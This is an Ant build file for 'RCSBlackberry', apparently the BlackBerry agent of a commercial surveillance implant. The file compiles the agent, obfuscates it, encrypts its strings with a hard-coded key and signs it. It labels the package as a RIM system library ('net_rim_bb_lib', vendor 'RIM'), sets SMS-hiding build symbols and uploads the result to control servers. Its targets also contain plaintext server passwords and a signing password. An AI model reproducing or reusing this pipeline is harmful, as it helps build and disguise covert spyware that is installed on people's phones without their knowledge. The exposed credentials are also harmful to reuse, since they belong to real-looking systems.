build.xml
<project name="RCSBlackberry" default="help" basedir=".">
<typedef resource="bb-ant-defs.xml" />
<!-- <taskdef resource="net/sf/antcontrib/antcontrib.properties" /> -->
<taskdef resource="net/sf/antcontrib/antlib.xml">
<classpath>
<pathelement location="bb-tools/ant-contrib-1.0b3.jar" />
</classpath>
</taskdef>
<!-- Environment properties -->
<property file="local.properties" />
<property file="version" />
<path id="lib.classpath">
<path location="${net_rim_api.jar}" />
</path>
<!-- Internal properties -->
<property name="wtk.cldc.version" value="1.1" />
<property name="wtk.midp.version" value="2.0" />
<!-- property name="obfuscation" value="true" -->
<property name="resources" location="res" />
<!-- Application properties -->
<property name="ht.vendor" value="RIM" />
<property name="ht.version" value="1.0" />
<property name="core.codename" value="net_rim_bb_lib" />
<property name="lib.codename" value="net_rim_bb_lib_base" />
<property name="group.name" value="Rim Library" />
<property name="dist.lib" value="release/${lib.codename}.cod" />
<property name="dist.core" value="release/${core.codename}.cod" />
<property name="nodemo.core" value="nodemo/${core.codename}.cod" />
<property name="debug.core" value="debug/${core.codename}.cod" />
<property name="wanted.versions" value="5.0" />
<property name="historic.versions" value="4.5" />
<!-- <property name="wanted.versions" value="5.0" /> -->
<!-- Symbols
DEBUG: versione con i log di debug su file
RELEASE: versione strippata e offuscata
DBC: verifiche Design by contract
FAKECONF: configurazione presa da codice
DEMO: versione demo, a meno di binary patch
NODEMO: inibisce la demo.
-->
<property name="preprocess.debug.symbols" value="DEBUG,DBC" />
<property name="preprocess.test.symbols" value="TEST" />
<property name="preprocess.release.symbols" value="RELEASE" />
<property name="preprocess.nodemo.symbols" value="RELEASE,NODEMO" />
<property name="preprocess.fakeconf.symbols" value="DEBUG,DBC,DEMO,FAKECONF" />
<property name="preprocess.4.5.symbols" value="NO_SMS_HIDE,NO_MMS" />
<property name="preprocess.4.6.symbols" value="NO_SMS_HIDE,NO_MMS" />
<property name="preprocess.4.6.1.symbols" value="NO_SMS_HIDE,NO_MMS" />
<property name="preprocess.4.7.symbols" value="SMS_HIDE,MMS" />
<property name="preprocess.5.0.symbols" value="SMS_HIDE,MMS,OS_AT_LEAST_5" />
<property name="preprocess.6.0.symbols" value="SMS_HIDE,MMS,OS_AT_LEAST_5" />
<property name="preprocess.7.0.symbols" value="SMS_HIDE,MMS,OS_AT_LEAST_5" />
<property name="preprocess.7.1.symbols" value="SMS_HIDE,MMS,OS_AT_LEAST_5" />
<property name="javaloader" value="${jde.javaloader}" />
<!-- Sources -->
<property name="lib.src" location="RCSBlackBerryResources/src" />
<property name="core.src" location="RCSBlackBerry/src" />
<echo>antenna: ${antenna.jar}</echo>
<!-- WTK Task definition -->
<taskdef name="wtkpreprocess" classname="de.pleumann.antenna.WtkPreprocess" classpath="${antenna.jar}" />
<taskdef name="wtkbuild" classname="de.pleumann.antenna.WtkBuild" classpath="${antenna.jar}" />
<taskdef name="wtkpreverify" classname="de.pleumann.antenna.WtkPreverify" classpath="${antenna.jar}" />
<taskdef name="wtkpackage" classname="de.pleumann.antenna.WtkPackage" classpath="${antenna.jar}" />
<taskdef name="wtkrapc" classname="de.pleumann.antenna.WtkRapc" classpath="${antenna.jar}" />
<taskdef name="wtkobfuscate" classname="de.pleumann.antenna.WtkObfuscate" classpath="${antenna.jar}" />
<taskdef name="wtkjad" classname="de.pleumann.antenna.WtkJad" classpath="${antenna.jar}" />
<taskdef name="crypter" classname="com.example.ant.Crypter">
<classpath>
<pathelement path="crypter/build/archive/crypter-ant.jar" />
</classpath>
</taskdef>
<taskdef name="random" classname="com.example.ant.RandomString">
<classpath>
<pathelement path="crypter/build/archive/crypter-ant.jar" />
<fileset dir="crypter/lib">
<include name="**/*.jar" />
<include name="**/*.zip" />
</fileset>
</classpath>
</taskdef>
<target name="salt">
<random len="8" property="randomSalt">
</random>
<echo>Random:${randomSalt}</echo>
</target>
<target name="encrypt-messages" depends="salt">
<delete file="RCSBlackberry/src/messages.bin" />
<crypter encrypt="true" salt="${randomSalt}" keyFile="0x5333494a32158f52" inputFile="RCSBlackberry/preprocess/messages.properties.all" outputFile="RCSBlackberry/src/messages.bin" />
</target>
<target name="Display-Builtins" description="Display Builtin Properties">
<!-- the absolute path to the location of the buildfile -->
<echo>${basedir}</echo>
<!-- the absolute path of the buildfile -->
<echo>${ant.file}</echo>
<!-- ant.version - the version of Ant that you are running -->
<echo>${ant.version}</echo>
<!-- ant.project.name - the name of the project that is currently executing; it is set in the name attribute of <project>. -->
<echo>${ant.project.name}</echo>
<!-- ant.java.version - the JVM version Ant detected; currently it can hold the values "1.1", "1.2", "1.3", "1.4" and "1.5". -->
<echo>${ant.java.version}</echo>
<echo>${dist.version}</echo>
<echo>${dist.release}</echo>
</target>
<macrodef name="fakeconf">
<attribute name="preprocess.symbols" />
<attribute name="dir.to" />
<sequential>
<if>
<contains string="@{preprocess.symbols}" substring="FAKECONF" />
<then>
<echo message="copy config.json to: @{dir.to}/config.json" />
<copy file="RCSBlackberry/preprocess/config.json" tofile="@{dir.to}/config.json" />
</then>
<else>
<echo message="do not copy config.json" />
</else>
</if>
</sequential>
</macrodef>
<macrodef name="preprocess">
<attribute name="dir.src" />
<attribute name="dir.to" />
<attribute name="preprocess.symbols" default="NO_SYMBOLS" />
<attribute name="exclude" default="**/tests/" />
<attribute name="version" />
<sequential>
<echo message="=== Preprocess @{dir.src} => @{dir.to} ===" />
<mkdir dir="@{dir.to}" />
<copy todir="@{dir.to}">
<fileset dir="@{dir.src}">
<include name="**/*.java" />
<include name="**/messages.bin" />
<include name="**/config.bin" />
<exclude name="@{exclude}" />
</fileset>
</copy>
<fakeconf dir.to="@{dir.to}" preprocess.symbols="@{preprocess.symbols}" />
<replace dir="@{dir.to}" token="//#preprocess" value="//!preprocess" />
<echo message="--- Symbols @{preprocess.symbols},BlackBerrySDK@{version}.0 ---" />
<wtkpreprocess verbose="false" srcdir="@{dir.to}" destdir="@{dir.to}" symbols="@{preprocess.symbols},BlackBerrySDK@{version}.0" />
</sequential>
</macrodef>
<macrodef name="libbuild">
<attribute name="preprocess.symbols" />
<attribute name="version" />
<sequential>
<echo message="=============" />
<echo message="=== LIB ===" />
<echo message="=============" />
<echo>jde.home=${jde.home} wtk.home=${wtk.home}</echo>
<local name="builddir" />
<property name="builddir" location="build/lib/@{version}" />
<mkdir dir="${builddir}/unverified" />
<mkdir dir="${builddir}/preprocessed" />
<!-- Create a JAD file. -->
<wtkjad jadfile="${builddir}/lib.jad" jarfile="${builddir}/lib.jar" name="${lib.codename}" vendor="${ht.vendor}" version="${ht.version}">
<attribute name="MicroEdition-Configuration" value="CLDC-${wtk.cldc.version}" />
<attribute name="MicroEdition-Profile" value="MIDP-${wtk.midp.version}" />
<attribute name="RIM-Library-Flags" value="2" />
</wtkjad>
<!-- Create a RAPC file. -->
<manifest file="${builddir}/lib.rapc">
<attribute name="MIDlet-Name" value="${core.codename}" />
<attribute name="MIDlet-Version" value="${ht.version}" />
<attribute name="MIDlet-Vendor" value="${ht.vendor}" />
<attribute name="MIDlet-Jar-URL" value="lib.jar" />
<attribute name="MIDlet-Jar-Size" value="0" />
<attribute name="MicroEdition-Profile" value="MIDP-${wtk.midp.version}" />
<attribute name="MicroEdition-Configuration" value="CLDC-${wtk.cldc.version}" />
<attribute name="RIM-Library-Flags" value="2" />
</manifest>
<!-- Preprocess. -->
<preprocess dir.src="${lib.src}" dir.to="${builddir}/preprocessed" version="@{version}" />
<!-- Compile everything, but don't preverify (yet). -->
<wtkbuild srcdir="${builddir}/preprocessed" destdir="${builddir}/unverified" preverify="false" />
<!-- Package our newly compiled classes. -->
<wtkpackage jarfile="${builddir}/lib.jar" jadfile="${builddir}/lib.jad">
<fileset dir="${builddir}/unverified" />
<fileset dir="${builddir}/preprocessed" includes="**/*.bin" />
</wtkpackage>
<!-- Preverify -->
<wtkpreverify jarfile="${builddir}/lib.jar" jadfile="${builddir}/lib.jad">
<classpath refid="lib.classpath" />
</wtkpreverify>
<!-- Rapc -->
<mkdir dir="output/@{version}" />
<wtkrapc jadfile="${builddir}/lib.jad" source="${builddir}/lib.jar" codename="${lib.codename}" import="${net_rim_api.jar}" destdir="output/@{version}" midlet="false" library="true" />
<!--
rapc.exe -nomain library=deliverables\Standard\4.5.0\net_rim_bb_lib_base
deliverables\Standard\4.5.0\net_rim_bb_lib_base.rapc
-sourceroot=C:\HT\RCSBlackBerry\Workspace\RCSBlackBerryResources\src;C:\HT\RCSBlackBerry\Workspace\RCSBlackBerryResources\res
-import=C:\Developer\eclipse_bb\plugins\net.rim.ejde.componentpack4.5.0_4.5.0.28\components\lib\net_rim_api.jar
C:\HT\RCSBlackBerry\Workspace\RCSBlackBerryResources\bin
<exec dir="${builddir}" executable="${bb.buildjars.home}/rapc.exe" failonerror="true">
<arg value="-nomain" />
<arg value="import=${net_rim_api.jar}" />
<arg value="codename=${lib.codename}" />
<arg file="${builddir}/lib.rapc" />
<arg file="${builddir}/lib.jar" />
</exec>
-->
<copy file="${builddir}/lib.jar" tofile="output/@{version}/${lib.codename}.jar" />
<move todir="${builddir}">
<fileset dir=".">
<include name="${lib.codename}*" />
</fileset>
</move>
</sequential>
</macrodef>
<macrodef name="corebuild">
<attribute name="preprocess.symbols" />
<attribute name="kind" />
<attribute name="osversion" />
<sequential>
<echo message="=============" />
<echo message="=== CORE ===" />
<echo message="=============" />
<local name="builddir" />
<property name="builddir" location="build/core/@{osversion}/@{kind}" />
<mkdir dir="${builddir}/unverified" />
<mkdir dir="${builddir}/preprocessed" />
<!-- Create a JAD file. -->
<wtkjad jadfile="${builddir}/core.jad" jarfile="${builddir}/core.jar" name="${core.codename}" vendor="${ht.vendor}" version="${ht.version}">
<attribute name="MicroEdition-Configuration" value="CLDC-${wtk.cldc.version}" />
<attribute name="MicroEdition-Profile" value="MIDP-${wtk.midp.version}" />
<attribute name="RIM-MIDlet-Flags-1" value="3" />
<attribute name="RIM-COD-Module-Name" value="${core.codename}" />
<attribute name="MIDlet-Name" value="${core.codename}" />
</wtkjad>
<!-- Create a RAPC file. -->
<manifest file="${builddir}/core.rapc">
<attribute name="MIDlet-Name" value="${core.codename}" />
<attribute name="MIDlet-Version" value="${ht.version}" />
<attribute name="MIDlet-Vendor" value="${ht.vendor}" />
<attribute name="MIDlet-Jar-URL" value="core.jar" />
<attribute name="MIDlet-Jar-Size" value="0" />
<attribute name="MicroEdition-Profile" value="MIDP-${wtk.midp.version}" />
<attribute name="MicroEdition-Configuration" value="CLDC-${wtk.cldc.version}" />
<attribute name="MIDlet-1" value="${core.codename},res/Blackberry_icon_sml.png," />
<attribute name="RIM-MIDlet-Flags-1" value="3" />
</manifest>
<!-- Preprocess. -->
<if>
<equals arg1="@{kind}" arg2="test" />
<then>
<echo message="Test preprocess" />
<preprocess version="@{osversion}" dir.src="${core.src}" dir.to="${builddir}/preprocessed" preprocess.symbols="@{preprocess.symbols}" exclude="" />
</then>
<else>
<echo message="Normal preprocess" />
<preprocess version="@{osversion}" dir.src="${core.src}" dir.to="${builddir}/preprocessed" preprocess.symbols="@{preprocess.symbols}" />
</else>
</if>
<!-- Compile everything, but don't preverify (yet). -->
<echo>lib: "output/@{osversion}/${lib.codename}.jar" </echo>
<wtkbuild srcdir="${builddir}/preprocessed" destdir="${builddir}/unverified" preverify="true" bootclasspath="${net_rim_api.jar}">
<classpath>
<path id="core.classpath">
<path location="${net_rim_api.jar}" />
<path location="output/@{osversion}/${lib.codename}.jar" />
</path>
</classpath>
</wtkbuild>
<!-- Package our newly compiled classes. -->
<wtkpackage jarfile="${builddir}/core.jar" jadfile="${builddir}/core.jad">
<fileset dir="${builddir}/unverified" />
<fileset dir="${core.src}/../res" includes="**/*.png" />
<fileset dir="${builddir}/preprocessed" includes="messages.bin" />
<fileset dir="${builddir}/preprocessed" includes="config.json" />
</wtkpackage>
<!-- Obfuscate -dontshrink -->
<echo>wtk.proguard.home=${wtk.proguard.home}</echo>
<wtkobfuscate jarfile="${builddir}/core.jar" jadfile="${builddir}/core.jad">
<classpath refid="core.classpath" />
<argument value="'-keep public class blackberry.Main { public *; }'" />
<argument value="'-keep public class ** extends javax.microedition.midlet.MIDlet { public *; }'" />
<argument value="-repackageclasses '' -allowaccessmodification -microedition -dontusemixedcaseclassnames" />
<argument value="-printusage" />
</wtkobfuscate>
<!-- Preverify -->
<wtkpreverify jarfile="${builddir}/core.jar" jadfile="${builddir}/core.jad">
<classpath refid="core.classpath" />
</wtkpreverify>
<!-- Rapc
<wtkrapc jadfile="${builddir}/core.jad" source="${builddir}/core.jar" codename="${core.codename}" import="${net_rim_api.jar};output/@{version}/lib.jar" destdir="${builddir}" quiet="true" midlet="false" library="false" />
rapc.exe -cr codename=deliverables\Standard\4.5.0\net_rim_bb_lib
deliverables\Standard\4.5.0\net_rim_bb_lib.rapc
-sourceroot=C:\HT\RCSBlackBerry\Workspace\RCSBlackBerry\src;C:\HT\RCSBlackBerry\Workspace\RCSBlackBerry\src\blackberry
-import=C:\Developer\eclipse_bb\plugins\net.rim.ejde.componentpack4.5.0_4.5.0.28\components\lib\net_rim_api.jar;C:\HT\RCSBlackBerry\Workspace\RCSBlackBerryResources\deliverables\Standard\4.5.0\net_rim_bb_lib_base.jar
C:\HT\RCSBlackBerry\Workspace\RCSBlackBerry\bin
-->
<exec dir="${builddir}" executable="${bb.buildjars.home}/rapc.exe" failonerror="true">
<arg value="-quiet" />
<arg value="-import=${net_rim_api.jar};${builddir}/../../../../output/@{osversion}/${lib.codename}.jar" />
<arg value="codename=${core.codename}" />
<arg file="${builddir}/core.rapc" />
<arg file="${builddir}/core.jar" />
</exec>
<copy file="preprocess/signature.csl" tofile="${builddir}/${core.codename}.csl" />
<copy file="preprocess/signature.cso" tofile="${builddir}/${core.codename}.cso" />
<move todir="${builddir}">
<fileset dir=".">
<include name="${core.codename}*" />
</fileset>
</move>
<!-- Sign -->
<sign dir="${builddir}" cod="${core.codename}.cod" />
<!-- Dist -->
<mkdir dir="output/@{osversion}/@{kind}" />
<copy file="${builddir}/${core.codename}.cod" todir="output/@{osversion}/@{kind}" />
<copy file="output/@{osversion}/${lib.codename}.cod" todir="output/@{osversion}/@{kind}" />
</sequential>
</macrodef>
<!-- Sign the COD -->
<macrodef name="sign">
<attribute name="cod" />
<attribute name="dir" />
<sequential>
<echo message="=== Sign @{dir}/@{cod} ===" />
<!--<sigtool jdehome="${jde.home}" codfile="output/tocod/${codename}.cod" /> -->
<java jar="${blackberry.certificate.dir}/SignatureTool.jar" fork="true" dir="@{dir}" failonerror="true">
<arg line=" -a -p KUZ93HQ1 -c -s @{cod}" />
</java>
</sequential>
</macrodef>
<macrodef name="set-cfg">
<attribute name="osversion" />
<sequential>
<echo message="=== Set-cfg @{osversion} ===" />
<copy file="RCSBlackberry/preprocess/Cfg.java" toFile="RCSBlackberry/src/blackberry/config/Cfg.java" overwrite="true">
<filterset>
<filter token="BUILD_ID" value="${build.number}" />
<filter token="BUILD_TIMESTAMP" value="${timestamp.BUILD}" />
<filter token="GROUP_NAME" value="${group.name}" />
<filter token="MODULE_NAME" value="${core.codename}" />
<filter token="MODULE_LIB_NAME" value="${lib.codename}" />
<filter token="RANDOM" value="${randomSalt}" />
<filter token="VERSION" value="${dist.version}" />
<filter token="RELEASE" value="${dist.release}" />
<filter token="OSVERSION" value="@{osversion}" />
</filterset>
</copy>
</sequential>
</macrodef>
<target name="init" depends="encrypt-messages">
<echo message="=== Init ===" />
<antcall target="Display-Builtins"/>
<echo message="=== Version ${dist.release} ${dist.version} ===" />
<tstamp>
<format property="timestamp.BUILD" pattern="yyyyMMdd-hhmmss" />
</tstamp>
<buildnumber />
<mkdir dir="build" />
<mkdir dir="build/core" />
<mkdir dir="build/lib" />
<mkdir dir="output" />
</target>
<target name="clean">
<echo message="=== Clean ===" />
<delete dir="build" includeEmptyDirs="true" />
<delete dir="output" includeEmptyDirs="true" />
<delete dir="server/core" includeEmptyDirs="true" />
<delete file="${core.src}/config.json" failonerror="false" />
</target>
<!-- list="45,50" -->
<target name="build" depends="clean,init">
<for list="${wanted.versions}" param="osversion">
<sequential>
<echo message="==============" />
<echo message="=== BUILD === ------------------------------------------------------------" />
<echo message="==============" />
<echo>Version @{osversion}</echo>
<set-cfg osversion="@{osversion}"/>
<local name="jde.local.home" />
<propertycopy name="jde.local.home" from="jde.@{osversion}.home" />
<var name="jde.home" value="${jde.local.home}" />
<var name="net_rim_api.jar" value="${jde.home}/lib/net_rim_api.jar" />
<var name="bb.buildjars.home" value="${jde.home}/bin" />
<local name="preprocess.version.symbols" />
<propertycopy name="preprocess.version.symbols" from="preprocess.@{osversion}.symbols" />
<echo>jde.home=${jde.home}</echo>
<libbuild version="@{osversion}" preprocess.symbols="${preprocess.release.symbols},${preprocess.version.symbols}" />
<echo message="_____________" />
<echo message=" DEBUG " />
<corebuild kind="debug" osversion="@{osversion}" preprocess.symbols="${preprocess.debug.symbols},${preprocess.version.symbols}" />
<echo message="_____________" />
<echo message=" RELEASE " />
<corebuild kind="release" osversion="@{osversion}" preprocess.symbols="${preprocess.release.symbols},${preprocess.version.symbols}" />
<!--
<echo message="_____________" />
<echo message=" NODEMO " />
<corebuild kind="nodemo" version="@{version}" preprocess.symbols="${preprocess.nodemo.symbols},${preprocess.version.symbols}" />
<echo message="_____________" />
<echo message=" FAKECONF " />
<corebuild kind="fakeconf" version="@{version}" preprocess.symbols="${preprocess.fakeconf.symbols},${preprocess.version.symbols}" />
<echo message="_____________" />
<echo message=" TEST " />
<corebuild kind="test" version="@{version}" preprocess.symbols="${preprocess.test.symbols},${preprocess.version.symbols}" />
-->
</sequential>
</for>
</target>
<!-- Load to device depends="sign" -->
<target name="load">
<echo message="=== Load ===" />
<echo>${javaloader} ${lib.codename}.cod ${core.codename}.cod</echo>
<exec executable="${javaloader}" dir="." failonerror="true">
<arg value="-wrddr" />
<arg value="-u" />
<arg value="load" />
<arg value="output/5.0/debug/${lib.codename}.cod" />
<arg value="output/5.0/debug/${core.codename}.cod" />
</exec>
</target>
<!-- Load to device depends="sign" -->
<target name="loadcoredebug">
<echo message="=== Load ===" />
<echo>${javaloader} ${core.codename}.cod</echo>
<exec executable="${javaloader}" dir="." failonerror="true">
<arg value="-wrddr" />
<arg value="-u" />
<arg value="load" />
<arg value="output/5.0/debug/${core.codename}.cod" />
</exec>
</target>
<target name="loadcorerelease">
<echo message="=== Load ===" />
<echo>${javaloader} ${core.codename}.cod</echo>
<exec executable="${javaloader}" dir="." failonerror="true">
<arg value="-wrddr" />
<arg value="-u" />
<arg value="load" />
<arg value="output/5.0/release/${core.codename}.cod" />
</exec>
</target>
<target name="loadcore" depends="loadcorerelease" />
<!-- Load to device depends="sign" -->
<target name="uninstall">
<echo message="=== Uninstall ===" />
<echo>${javaloader}</echo>
<exec executable="${javaloader}" dir="." failonerror="true">
<arg value="-u" />
<arg value="erase" />
<arg value="-f" />
<arg value="${core.codename}.cod" />
</exec>
</target>
<!-- C:\Ruby193\bin\ruby c:\HT\rcs-core-build\rcs-core.rb -u zeno -p zenop123 -d rcs-castore -n blackberry -f RCS_0000000746 $args -->
<macrodef name="updaterelease">
<attribute name="server" />
<attribute name="login" />
<attribute name="password" />
<attribute name="file" />
<sequential>
<echo>@{server}</echo>
<exec executable="${ruby.path}" dir="." failonerror="true">
<arg value="${rcscore.path}/rcs-core.rb" />
<arg value="-u" />
<arg value="@{login}" />
<arg value="-p" />
<arg value="@{password}" />
<arg value="-d" />
<arg value="@{server}" />
<arg value="-n" />
<arg value="blackberry" />
<arg value="-R" />
<arg value="@{file}" />
</exec>
</sequential>
</macrodef>
<target name="copyHistoric">
<copy file="output/45/${dist.lib}" toDir="historicOutput/4.5/release" overwrite="true" />
<copy file="output/45/${dist.core}" toDir="historicOutput/4.5/release" overwrite="true" />
</target>
<target name="update">
<updaterelease server="rcs-castore" login="zenobatch" password="zenop123" file="./server/blackberry_${dist.version}.zip" />
<copy file="./server/blackberry_${dist.version}.zip" toFile="/Volumes/SHARE/RELEASE/SVILUPPO/cores daVinci/blackberry.zip" overwrite="true" />
</target>
<target name="update-castore">
<updaterelease server="rcs-castore" login="zenobatch" password="castoreP123" file="./server/blackberry_${dist.version}.zip" />
</target>
<target name="update-zeus">
<updaterelease server="rcs-zeus" login="zeno" password="Fabriziop123" file="./server/blackberry_${dist.version}.zip" />
</target>
<target name="update-zenotto">
<updaterelease server="zenotto" login="zeno" password="zenop123" file="./server/blackberry_${dist.version}.zip" />
</target>
<target name="addconf">
<fakeconf dir.to="${core.src}" preprocess.symbols="FAKECONF" />
<copy file="RCSBlackberry/preprocess/messages.properties.all" toFile="RCSBlackberry/src/messages.bin" overwrite="true"/>
</target>
<property name="blackberry.simulator.path" location="${jde.45.home}\simulator" />
<property name="simulator.model" value="8300" />
<target name="servercore">
<mkdir dir="server/core" />
<copy toDir="server/core" overwrite="true">
<fileset dir="server/template" excludes="**/res" />
<filterset>
<filter token="VERSION" value="${dist.version}" />
</filterset>
</copy>
<copy toDir="server/core/res" overwrite="true">
<fileset dir="server/template/res" />
</copy>
<for list="${historic.versions}" param="version">
<sequential>
<copy file="historicOutput/@{version}/${dist.lib}" toDir="server/core/res/" overwrite="true" />
<unzip src="historicOutput/@{version}/${dist.core}" dest="server/core/res/v_@{version}" overwrite="true" />
</sequential>
</for>
<for list="${wanted.versions}" param="version">
<sequential>
<copy file="output/@{version}/${dist.lib}" toDir="server/core/res/" overwrite="true" />
<unzip src="output/@{version}/${dist.core}" dest="server/core/res/v_@{version}" overwrite="true" />
</sequential>
</for>
<zip destfile="server/blackberry_${dist.version}.zip" basedir="server/core" />
</target>
<macrodef name="zipdist">
<attribute name="destfile" />
<sequential>
<zip destfile="@{destfile}">
<zipfileset dir="RCSBlackberry" prefix="RCSBlackberry" />
<zipfileset dir="RCSBlackberryResources" prefix="RCSBlackberryResources" />
<zipfileset dir="." includes="server" />
<fileset dir="." includes="local.properties" />
<fileset dir="." includes="build.xml" />
</zip>
</sequential>
</macrodef>
<macrodef name="rcscomp">
<attribute name="destdir" />
<attribute name="version"/>
<sequential>
<mkdir dir="@{destdir}/rcs7" />
<copy file="output/@{version}/${dist.lib}" tofile="@{destdir}/lib.blackberry" overwrite="true" />
<mkdir dir="@{destdir}/build" />
<unzip src="output/@{version}/${dist.core}" dest="@{destdir}/build" overwrite="true" />
<move file="@{destdir}/build/net_rim_bb_lib.cod" tofile="@{destdir}/build/net_rim_bb_core-0.cod" overwrite="true" />
<move file="@{destdir}/build/net_rim_bb_lib-1.cod" tofile="@{destdir}/build/net_rim_bb_core-1.cod" overwrite="true" />
<zip destfile="@{destdir}/core.demo.blackberry" basedir="@{destdir}/build/" compress="false" />
<mkdir dir="@{destdir}/buildnodemo" />
<unzip src="output/@{version}/${nodemo.core}" dest="@{destdir}/buildnodemo" overwrite="true" />
<move file="@{destdir}/buildnodemo/net_rim_bb_lib.cod" tofile="@{destdir}/buildnodemo/net_rim_bb_core-0.cod" overwrite="true" />
<move file="@{destdir}/buildnodemo/net_rim_bb_lib-1.cod" tofile="@{destdir}/buildnodemo/net_rim_bb_core-1.cod" overwrite="true" />
<zip destfile="@{destdir}/core.nodemo.blackberry" basedir="@{destdir}/buildnodemo/" compress="false" />
</sequential>
</macrodef>
<target name="zip">
<zipdist destfile="../Dist/test.zip" />
</target>
<target name="dist">
<tstamp>
<format property="timestamp.BUILD" pattern="yyyyMMdd-hhmmss" />
</tstamp>
<property file="build.number" />
<var name="destdir" value="../dist/${dist.release}/${build.number}.${timestamp.BUILD}" />
<!-- <rcscomp destdir="${destdir}/rcs7" version="4.5"/> -->
<for list="${wanted.versions}" param="version">
<sequential>
<mkdir dir="${destdir}/@{version}" />
<copy file="output/@{version}/${dist.lib}" toDir="${destdir}/@{version}" overwrite="true" />
<copy file="output/@{version}/${dist.core}" toDir="${destdir}/@{version}" overwrite="true" />
<copy file="output/@{version}/${debug.core}" toFile="${destdir}/@{version}/core.debug.cod" overwrite="true" />
</sequential>
</for>
<for list="${historic.versions}" param="version">
<sequential>
<mkdir dir="${destdir}/@{version}" />
<copy file="historicOutput/@{version}/${dist.lib}" toDir="${destdir}/@{version}" overwrite="true" />
<copy file="historicOutput/@{version}/${dist.core}" toDir="${destdir}/@{version}" overwrite="true" />
<copy file="historicOutput/@{version}/${debug.core}" toFile="${destdir}/@{version}/core.debug.cod" overwrite="true" />
</sequential>
</for>
<antcall target="servercore" />
<copy file="server/blackberry_${dist.version}.zip" toDir="${destdir}" overwrite="true" />
<copy file="server/blackberry_${dist.version}.zip" toFile="server/blackberry.zip" overwrite="true" />
<zipdist destfile="${destdir}/blackberry_sources.zip" />
<checksum>
<fileset dir="${destdir}/">
<include name="*" />
</fileset>
</checksum>
<!-- <antcall target="update" /> -->
<echo>${destdir}</echo>
</target>
<target name="all" depends="build,dist" />
<!-- To run the application in simulator
PS C:\Users\fabrizio\blackberry\Workspace> C:\Developer\eclipse_bb\plugins\net.rim.ejde.componentpack4.5.0_4.5.0.28\components\simulator\
fledgecontroller.exe /session=8300
Pause(5)
RemoteCallCreation("555-1234")
Pause(2)
ThumbwheelPress
ThumbwheelRelease
Pause(10)
KeyPress(ESCAPE)
Pause(2)
KeyRelease(ESCAPE)
Exit
http://docs.blackberry.com/en/developers/deliverables/606/BlackBerry_Device_Simulator_User_Guide.pdf
-->
<target name="simulator" description="Run in ${simulator.model} Simulator">
<exec dir="${blackberry.simulator.path}" executable="${blackberry.simulator.path}/fledge.exe" spawn="true">
<arg line=" /app=Jvm.dll " />
<arg line=" /handheld=${simulator.model} " />
<arg line=" /session=${simulator.model} " />
<arg line=" /app-param=DisableRegistration " />
<arg line=" /app-param=JvmAlxConfigFile:${simulator.model}.xml " />
<arg line=" /data-port=0x4d44 " />
<arg line=" /data-port=0x4d4e " />
<arg line=" /pin=0x2100000A " />
</exec>
</target>
<target name="help">
<echo>ant build : full build and sig</echo>
<echo>ant simulator : starts the simulator</echo>
<echo>ant update : uploads both the core and the lib to castore</echo>
<echo>ant loadcoredebug : uploads the core debug 45 on device</echo>
<echo>ant loadcorerelease : uploads the core release 45 on device</echo>
<echo>ant init : updates messages.all, cfg.java</echo>
<echo>ant addconf : copy config.json in src/config.json</echo>
<echo>ant dist : create a dist zip file and updates server/core</echo>
</target>
</project>